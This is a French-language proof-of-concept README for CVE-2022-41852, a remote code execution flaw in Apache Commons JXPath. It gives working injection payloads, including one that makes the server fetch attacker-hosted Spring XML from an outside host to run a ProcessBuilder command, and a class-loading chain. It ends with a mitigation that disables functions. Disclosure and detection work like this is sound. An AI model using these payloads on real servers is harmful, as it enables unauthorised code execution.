
CVE-2022-41852 Preuve de concept (non officiel)
CVE-2022-41852 permet à des attaquants d'exécuter du code sur le serveur d'applications.
Vous pouvez en savoir plus sur cette vulnérabilité ici :
Remarque : Je ne suis pas l'auteur de cette CVE. J'ai seulement créé cette preuve de concept.
La bibliothèque JXPath permet d'exécuter des fonctions dans des expressions XPath (voir le Guide officiel de l'utilisateur).
Par exemple, les méthodes JXPathContext.getValue(path) et JXPathContext.iterate(path) sont dangereuses
si vous laissez un utilisateur envoyer une entrée dans le paramètre path.
Ce PoC démarre un serveur Spring simple avec deux points de terminaison :
/vulnerable-example?path=[path]/secure-example?path=[path]Ces points de terminaison n'ont qu'un seul paramètre de requête « path ».
Les requêtes suivantes fonctionneront correctement (ne causeront aucun problème) :
Les requêtes suivantes provoqueront l'exécution de code :
Exemples de payloads pour détecter CVE-2022-41852 :
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)Il existe peut-être différentes façons d'exécuter des commandes. L'une d'elles consiste à utiliser ClassPathXmlApplicationContext de Spring :
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")Dans le fichier XML, vous pouvez définir la configuration du bean, par exemple, vous pouvez créer une instance de ProcessBuilder et exécuter une commande spécifiée sur le serveur en initialisant le bean avec la méthode start(). Dans l'exemple suivant, la calculatrice s'ouvrira sur une machine Windows :
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Il existe également un moyen de charger de nouvelles classes en parcourant le bean de contexte, par exemple, le code suivant chargera la classe com.warxim.dangerous.DangerousClass, créera son instance et appellera la méthode run("warxim") :
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
Notez que nous devons appeler les méthodes de l'objet en mettant l'objet qui les contient comme premier paramètre.
Il est possible de désactiver les fonctions dans JXPathContext en définissant le champ functions sur un FunctionLibrary vide.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
Remarque : Cela désactivera toutes les fonctions, donc même des fonctions comme size() ne seront pas disponibles.
Le correctif est en cours de développement, voir https://github.com/apache/commons-jxpath/pull/26